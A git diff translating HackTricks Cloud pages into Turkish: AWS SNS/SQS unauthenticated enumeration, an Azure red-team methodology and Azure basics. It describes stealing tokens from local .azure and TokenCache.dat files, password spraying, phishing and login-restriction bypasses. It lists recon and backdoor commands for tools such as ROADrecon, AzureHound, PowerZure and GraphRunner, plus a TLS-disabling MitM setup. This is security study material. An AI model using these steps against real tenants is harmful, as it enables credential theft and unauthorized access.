yayın yapabileceğini ve abone olabileceğini** belirtmek mümkündür:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Bu nedenle, eğer **hesap içindeki konuların ARN'sini bulursanız** (veya konular için potansiyel isimleri zorlayarak) **onlara** **yayın yapıp yapamayacağınızı** veya **abone olup olamayacağınızı** **kontrol edebilirsiniz**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..9fbcd1f65 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,27 +1,21 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information about SQS check: +SQS hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Genel URL şablonu ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` +### İzinleri Kontrol Et -### Check Permissions - -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +Bir SQS kuyruk politikasını yanlış yapılandırmak ve AWS'deki herkese mesaj gönderme ve alma izni vermek mümkündür, bu nedenle kuyrukların ARN'sini alırsanız onlara erişip erişemeyeceğinizi deneyin. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..8c12c1908 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -2,86 +2,85 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler {{#ref}} az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Methodology +## Azure Pentester/Kırmızı Takım Metodolojisi -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Bir AZURE ortamını denetlemek için bilmek çok önemlidir: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç Azure hizmetleri ile **dış hizmetlerin** nasıl bağlandığı. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Kırmızı Takım bakış açısından, bir Azure ortamını ele geçirmenin **ilk adımı**, Azure AD için bazı **kimlik bilgilerini** elde etmektir. Bunu yapmanın bazı yolları şunlardır: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) -- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) +- GitHub'daki **sızıntılar** (veya benzeri) - OSINT +- **Sosyal** Mühendislik +- **Şifre** yeniden kullanımı (şifre sızıntıları) +- Azure'da Barındırılan Uygulamalardaki Güvenlik Açıkları +- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim +- **Yerel Dosya Okuma** +- `/home/KULLANICI_ADI/.azure` +- `C:\Users\KULLANICI_ADI\.azure` +- **`accessTokens.json`** dosyası `az cli` 2.30'dan önce - Ocak 2022 - **açık metin** olarak **erişim jetonları** saklıyordu +- **`azureProfile.json`** dosyası, oturum açmış kullanıcı hakkında **bilgi** içerir. +- **`az logout`** jetonu kaldırır. +- Eski sürümler **`Az PowerShell`**, **`TokenCache.dat`** dosyasında **erişim jetonlarını** **açık** metin olarak saklıyordu. Ayrıca **`AzureRmContext.json`** dosyasında **ServicePrincipalSecret**'i **açık** metin olarak saklar. **`Save-AzContext`** cmdlet'i **jetonları** **saklamak** için kullanılabilir.\ +`Disconnect-AzAccount` kullanarak bunları kaldırın. +- 3. taraflar **ihlal edildi** +- **İç** Çalışan +- [**Yaygın Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (kimlik bilgileri veya Oauth Uygulaması) +- [Cihaz Kodu Kimlik Doğrulama Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [Azure **Şifre Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Azure kiracısında **hiçbir kullanıcıyı ele geçirmediyseniz** bile, ondan **bazı bilgiler** toplayabilirsiniz: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmanız gerekir: -## Basic Enumeration +## Temel Sayım > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Sayımın **en gürültülü** kısmının **giriş** olduğunu, sayımın kendisi olmadığını unutmayın. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Azure içindeki bir makinede bir SSRF bulursanız, bu sayfayı hileler için kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Bypass Login Conditions +### Giriş Koşullarını Aşma
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +Geçerli kimlik bilgilerine sahip olduğunuz ancak giriş yapamadığınız durumlarda, mevcut olabilecek bazı yaygın korumalar şunlardır: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **IP beyaz listeleme** -- Geçerli bir IP'yi ele geçirmeniz gerekir +- **Coğrafi kısıtlamalar** -- Kullanıcının nerede yaşadığını veya şirketin ofislerinin nerede olduğunu bulup aynı şehirden (veya en azından aynı ülkeden) bir IP alın +- **Tarayıcı** -- Belki de yalnızca belirli bir işletim sisteminden (Windows, Linux, Mac, Android, iOS) bir tarayıcıya izin verilmektedir. Kurbanın/şirketin hangi işletim sistemini kullandığını öğrenin. +- Ayrıca, genellikle daha az sınırlı olan ve girişinin daha az incelendiği **Hizmet Prensibi kimlik bilgilerini** ele geçirmeyi de deneyebilirsiniz. -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Bunu aştıktan sonra, başlangıç ayarlarınıza geri dönebilir ve hala erişiminiz olabilir. -### Subdomain Takeover +### Alt Alan Ele Geçirme - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> [**Az - Entra ID**](az-services/az-azuread.md) bölümünde az cli, AzureAD ve Az PowerShell'i **nasıl kuracağınızı** öğrenin. -One of the first things you need to know is **who you are** (in which environment you are): +Bilmeniz gereken ilk şey **kim olduğunuzdur** (hangi ortamda olduğunuz): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Azure'ı listelemek için en önemli komutlardan biri **`Get-AzResource`**'dır, çünkü bu komut **mevcut kullanıcınızın görünürlüğü olan kaynakları bilmenizi sağlar**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Aynı bilgiyi **web konsolunda** [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) adresine giderek veya "Tüm kaynaklar" araması yaparak alabilirsiniz. -### ENtra ID Enumeration +### ENtra ID Listeleme -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +Varsayılan olarak, herhangi bir kullanıcının **kullanıcılar, gruplar, roller, hizmet ilkeleri gibi şeyleri listelemek için yeterli izinlere sahip olması gerekir**... (bakınız [varsayılan AzureAD izinleri](az-basic-information/#default-user-permissions)).\ +Burada bir kılavuz bulabilirsiniz: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını anlamanın zamanı geldi.\ +> Aşağıdaki bölümde **bazı yaygın hizmetleri listelemek için bazı yolları** kontrol edebilirsiniz. ## App Service SCM -Kudu console to log in to the App Service 'container'. +App Service 'konteynerine' giriş yapmak için Kudu konsolu. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +portal.azure.com'u kullanın ve shell'i seçin veya bash veya powershell için shell.azure.com'u kullanın. Bu shell'in 'diskleri', bir depolama hesabında bir görüntü dosyası olarak saklanır. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps, Azure'dan ayrıdır. Depolar, boru hatları (yaml veya sürüm), panolar, wiki ve daha fazlasını içerir. Değişken Grupları, değişken değerlerini ve gizli bilgileri saklamak için kullanılır. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +**`--debug`** parametresini kullanarak, aracın **`az`** gönderdiği tüm istekleri görmek mümkündür: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri kontrol etmek** için şunları yapabilirsiniz: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Otomatik Keşif Araçları ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..fdfc93443 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,376 +1,372 @@ -# Az - Basic Information +# Az - Temel Bilgiler {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Organizasyon Hiyerarşisi

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Yönetim Grupları -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- **Diğer yönetim gruplarını veya abonelikleri** içerebilir. +- Bu, yönetim grubu düzeyinde **yönetim kontrollerinin** (RBAC ve Azure Policy gibi) bir kez uygulanmasını ve bunların gruptaki tüm abonelikler tarafından **devralınmasını** sağlar. +- Tek bir dizinde **10.000 yönetim** grubu desteklenebilir. +- Bir yönetim grubu ağacı **altı seviyeye kadar derinliği** destekleyebilir. Bu sınır, kök düzeyini veya abonelik düzeyini içermez. +- Her yönetim grubu ve abonelik **sadece bir ebeveyn** destekleyebilir. +- Birden fazla yönetim grubu oluşturulabilse de **sadece 1 kök yönetim grubu** vardır. +- Kök yönetim grubu, **diğer tüm yönetim gruplarını ve abonelikleri** **içerir** ve **taşınamaz veya silinemez**. +- Tek bir yönetim grubundaki tüm abonelikler **aynı Entra ID kiracısına** güvenmelidir.

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

-### Azure Subscriptions +### Azure Abonelikleri -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- **Kaynakların** (VM'ler, DB'ler…) çalıştırılabileceği ve faturalandırılacağı başka bir **mantıksal konteynerdir**. +- **Ebeveyni** her zaman bir **yönetim grubudur** (ve kök yönetim grubu olabilir) çünkü abonelikler diğer abonelikleri içeremez. +- **Sadece bir Entra ID** dizinine güvenmektedir. +- Abonelik düzeyinde (veya ebeveynlerinden herhangi birinde) uygulanan **izinler**, abonelik içindeki tüm kaynaklara **devralınır**. -### Resource Groups +### Kaynak Grupları -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[Belgelerden:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Bir kaynak grubu, bir Azure çözümü için **ilişkili kaynakları** tutan bir **konteynerdir**. Kaynak grubu, çözüm için tüm kaynakları veya yalnızca **bir grup olarak yönetmek istediğiniz kaynakları** içerebilir. Genel olarak, **aynı yaşam döngüsüne** sahip **kaynakları** aynı kaynak grubuna ekleyin, böylece bunları grup olarak kolayca dağıtabilir, güncelleyebilir ve silebilirsiniz. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Tüm **kaynaklar** bir kaynak grubunun **içinde** olmalı ve yalnızca bir gruba ait olabilir; eğer bir kaynak grubu silinirse, içindeki tüm kaynaklar da silinir.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### Azure Kaynak Kimlikleri -Every resource in Azure has an Azure Resource ID that identifies it. +Azure'daki her kaynak, onu tanımlayan bir Azure Kaynak Kimliğine sahiptir. -The format of an Azure Resource ID is as follows: +Bir Azure Kaynak Kimliğinin formatı şu şekildedir: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +`myResourceGroup` kaynak grubunda `myVM` adında bir sanal makine için, Azure Kaynak Kimliği şu şekilde görünür: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Azure AD Alan Hizmetleri ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure, sanal makineler, veritabanları, yapay zeka ve depolama gibi çok çeşitli hizmetler sunan Microsoft'un kapsamlı **bulut bilişim platformudur**. Uygulamaları barındırmak ve yönetmek, ölçeklenebilir altyapılar oluşturmak ve bulutta modern iş yüklerini çalıştırmak için bir temel görevi görür. Azure, geliştiricilerin ve BT profesyonellerinin uygulamaları ve hizmetleri sorunsuz bir şekilde oluşturmasına, dağıtmasına ve yönetmesine olanak tanır ve ihtiyaçları olan her türlü kullanıcıya hitap eder. -### Entra ID (formerly Azure Active Directory) +### Entra ID (eski adıyla Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID, kimlik doğrulama, yetkilendirme ve kullanıcı erişim kontrolünü yönetmek için tasarlanmış bulut tabanlı bir **kimlik ve erişim yönetim hizmetidir**. Office 365, Azure ve birçok üçüncü taraf SaaS uygulamaları gibi Microsoft hizmetlerine güvenli erişim sağlar. Tek oturum açma (SSO), çok faktörlü kimlik doğrulama (MFA) ve koşullu erişim politikaları gibi özellikler sunar. -### Entra Domain Services (formerly Azure AD DS) +### Entra Alan Hizmetleri (eski adıyla Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Entra Alan Hizmetleri, Entra ID'nin yeteneklerini, **geleneksel Windows Active Directory ortamlarıyla uyumlu yönetilen alan hizmetleri** sunarak genişletir. LDAP, Kerberos ve NTLM gibi eski protokolleri destekler ve kuruluşların eski uygulamaları bulutta çalıştırmasına veya taşımalarına olanak tanır. Bu hizmet ayrıca merkezi yönetim için Grup İlkesi'ni destekler, böylece eski veya AD tabanlı iş yüklerinin modern bulut ortamlarıyla bir arada var olması gereken senaryolar için uygundur. -## Entra ID Principals +## Entra ID İlkeleri -### Users +### Kullanıcılar -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **Yeni kullanıcılar** +- Seçilen kiracıdan e-posta adı ve alanı belirtin +- Görüntüleme adını belirtin +- Şifreyi belirtin +- Özellikleri belirtin (isim, iş unvanı, iletişim bilgileri…) +- Varsayılan kullanıcı türü “**üye**”dir. +- **Dış kullanıcılar** +- Davet edilecek e-posta ve görüntüleme adını belirtin (Microsoft dışı bir e-posta olabilir) +- Özellikleri belirtin +- Varsayılan kullanıcı türü “**Misafir**”dir. -### Members & Guests Default Permissions +### Üyeler ve Misafirlerin Varsayılan İzinleri -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) adresinde kontrol edebilirsiniz, ancak diğer eylemler arasında bir üye şunları yapabilir: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Tüm kullanıcıları, Grupları, Uygulamaları, Cihazları, Rolleri, Abonelikleri ve bunların genel özelliklerini okuyabilir +- Misafirleri davet edebilir (_kapalı hale getirilebilir_) +- Güvenlik grupları oluşturabilir +- Gizli olmayan Grup üyeliklerini okuyabilir +- Sahip olunan gruplara misafir ekleyebilir +- Yeni uygulama oluşturabilir (_kapalı hale getirilebilir_) +- Azure'a kadar 50 cihaza kadar ekleyebilir (_kapalı hale getirilebilir_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Azure kaynaklarını listelemek için kullanıcının izinlerin açık bir şekilde verilmesi gerekir. -### Users Default Configurable Permissions +### Kullanıcıların Varsayılan Yapılandırılabilir İzinleri -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Üyeler (**[**belgeler**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Uygulamaları Kaydet: Varsayılan **Evet** +- Yönetici olmayan kullanıcıların kiracı oluşturmasını kısıtla: Varsayılan **Hayır** +- Güvenlik grupları oluştur: Varsayılan **Evet** +- Microsoft Entra yönetim portalına erişimi kısıtla: Varsayılan **Hayır** +- Bu, portala API erişimini kısıtlamaz (sadece web) +- Kullanıcıların iş veya okul hesaplarını LinkedIn ile bağlamasına izin ver: Varsayılan **Evet** +- Kullanıcının oturumunu açık tutmasını göster: Varsayılan **Evet** +- Kullanıcıların sahip oldukları cihazlar için BitLocker anahtarını kurtarmasını kısıtla: Varsayılan Hayır (Cihaz Ayarlarında kontrol edin) +- Diğer kullanıcıları oku: Varsayılan **Evet** (Microsoft Graph aracılığıyla) +- **Misafirler** +- **Misafir kullanıcı erişim kısıtlamaları** +- **Misafir kullanıcılar, üyelerle aynı erişime sahiptir** varsayılan olarak tüm üye kullanıcı izinlerini misafir kullanıcılara verir. +- **Misafir kullanıcılar, dizin nesnelerinin özelliklerine ve üyeliklerine sınırlı erişime sahiptir (varsayılan)** varsayılan olarak misafir erişimini yalnızca kendi kullanıcı profillerine kısıtlar. Diğer kullanıcılar ve grup bilgilerine erişim artık izin verilmez. +- **Misafir kullanıcı erişimi, kendi dizin nesnelerinin özelliklerine ve üyeliklerine kısıtlanmıştır** en kısıtlayıcı olanıdır. +- **Misafirler davet edebilir** +- **Kuruluşta herhangi biri, misafir kullanıcıları davet edebilir, misafirler ve yönetici olmayanlar dahil (en kapsayıcı) - Varsayılan** +- **Üye kullanıcılar ve belirli yönetici rollerine atanmış kullanıcılar, misafir kullanıcıları davet edebilir, misafirler ile üye izinleri dahil** +- **Sadece belirli yönetici rollerine atanmış kullanıcılar misafir kullanıcıları davet edebilir** +- **Kuruluşta hiç kimse, misafir kullanıcıları davet edemez, yöneticiler dahil (en kısıtlayıcı)** +- **Dış kullanıcıların ayrılması**: Varsayılan **Doğru** +- Dış kullanıcıların kuruluşu terk etmesine izin verin > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Varsayılan olarak kısıtlanmış olsalar bile, izin verilmiş kullanıcılar (üyeler ve misafirler) önceki eylemleri gerçekleştirebilir. -### **Groups** +### **Gruplar** -There are **2 types of groups**: +**2 tür grup** vardır: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Güvenlik**: Bu tür grup, üyelere uygulamalara, kaynaklara erişim vermek ve lisans atamak için kullanılır. Kullanıcılar, cihazlar, hizmet ilkeleri ve diğer gruplar üye olabilir. +- **Microsoft 365**: Bu tür grup, işbirliği için kullanılır, üyelere paylaşılan bir posta kutusuna, takvime, dosyalara, SharePoint sitesine vb. erişim verir. Grup üyeleri yalnızca kullanıcılar olabilir. +- Bu, EntraID kiracısının alanıyla bir **e-posta adresine** sahip olacaktır. -There are **2 types of memberships**: +**2 tür üyelik** vardır: -- **Assigned**: Allow to manually add specific 